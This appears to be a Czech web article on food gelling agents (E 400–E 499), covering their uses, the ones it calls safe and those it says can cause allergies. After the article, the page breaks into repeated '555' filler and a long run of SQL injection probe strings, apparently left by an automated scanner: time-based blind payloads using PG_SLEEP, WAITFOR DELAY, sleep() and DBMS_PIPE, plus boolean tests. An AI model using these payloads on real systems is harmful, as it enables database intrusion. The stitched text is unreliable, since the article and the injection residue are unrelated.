Želírující látky vytváří na potravině rosol nebo želé a tím vzniká pravidelná povrchová struktura. Druhů těchto látek není mnoho, ale většina z nich může u citlivějších osob způsobovat alergické reakce a tak je vhodné pečlivě číst informace na obalech potravin.
Želírující látky vytváří na potravinách pravidelnou povrchovou strukturu. Mají podobu různých želé a rosolů. Nejznámějšími jsou agar, arabská guma, pektiny, celulózy, různě upravovaný škrob a často používaná želatina. Každá želírovací látka má jiné vlastnosti. Například želatina dodává měkký elastický povrch, povrch s použitím agaru je křehký a lámavý.
Používají se jako želé na desertech a dalších pekařských produktech, jogurtech a různých mléčných výrobcích, jako rosoly na výrobcích masných a u mnoha dalších potravin.
Želírující látky se přidávají různými způsoby a při různých teplotách. Pektin se aplikuje za horka, alginát za studena. Velmi využívané jsou gumy, protože působí i jako stabilizátor na jiné složky potravin. Například karagenan částečně reaguje i s bílkovinami v mléce a tak vzniká měkký gel, který zabraňuje kakau v usazování v čokoládovém mléku. V kyselých mléčných produktech pektin působí i jako stabilizátor na mléčné bílkoviny v průběhu pasterace a využívá se při výrobě mražených krémů, protože zamezuje tvorbě ledových krystalků a vylučování vody.
Želírující látky jsou zařazeny ve skupině přídatných látek s označení E 400 až E 499.
Želírující látky z přírodních zdrojů, které jsou bezpečné a bez nežádoucích zdravotních účinků
- E 406 - Agar
- E 418 - Guma gellan
- E 425 - Konjaková guma
- E 440 – Pektiny
- E 441 - Želatina
Na lidské zdraví nepříznivě působící želírující látky, které mohou vyvolat alergické reakce a jsou nevhodné pro děti a alergiky.
- E 400 - Kyselina alginová
- E 401 - Alginát sodný
- E 402 - Alginát draselný
- E 403 - Alginát amonný
- E 404 - Alginát vápenatý
- E 407 - Karagenan
- E 407a - Guma Euchema
Přidávání želírujících látek do potravin je upraveno přísnými předpisy. Látky, které mohou způsobit zdravotní problémy jsou v potravinách v množství, které by při běžné konzumaci nemělo vyvolat žádné zdravotní problémy. Nelze je ale zcela vyloučit například u osob se zvýšenou citlivostí na chemické přísady v potravinách a při konzumaci většího množství takových potravin u dětí. Proto je vždy dobré si přečíst složení výrobku a v případě, že takové želírovací prostředky obsahuje jeho konzumaci omezit nebo se jí zcela vyhnout.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@HTG32
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
yvKmuB86')) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
d2Wnc3Ap') OR 154=(SELECT 154 FROM PG_SLEEP(15))--
ozVpFzDB' OR 495=(SELECT 495 FROM PG_SLEEP(15))--
-1)) OR 183=(SELECT 183 FROM PG_SLEEP(15))--
-5) OR 554=(SELECT 554 FROM PG_SLEEP(15))--
-5 OR 776=(SELECT 776 FROM PG_SLEEP(15))--
D2YCFJ5a'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+707-707) --
-1" OR 3*2<(0+5+707-707) --
-1" OR 3+707-707-1=0+0+0+1 --
-1" OR 2+707-707-1=0+0+0+1 --
-1' OR 3*2>(0+5+248-248) or 'uCxjNu1y'='
-1' OR 3*2<(0+5+248-248) or 'uCxjNu1y'='
-1' OR 3+248-248-1=0+0+0+1 or 'uCxjNu1y'='
-1' OR 2+248-248-1=0+0+0+1 or 'uCxjNu1y'='
-1' OR 3*2>(0+5+974-974) --
-1' OR 3*2<(0+5+974-974) --
-1' OR 3+974-974-1=0+0+0+1 --
-1' OR 2+974-974-1=0+0+0+1 --
-1 OR 3*2>(0+5+68-68)
-1 OR 3*2<(0+5+68-68)
-1 OR 3+68-68-1=0+0+0+1
-1 OR 2+68-68-1=0+0+0+1
-1 OR 3*2>(0+5+873-873) --
-1 OR 3*2<(0+5+873-873) --
-1 OR 3+873-873-1=0+0+0+1 --
-1 OR 2+873-873-1=0+0+0+1 --
555
555
555
555
555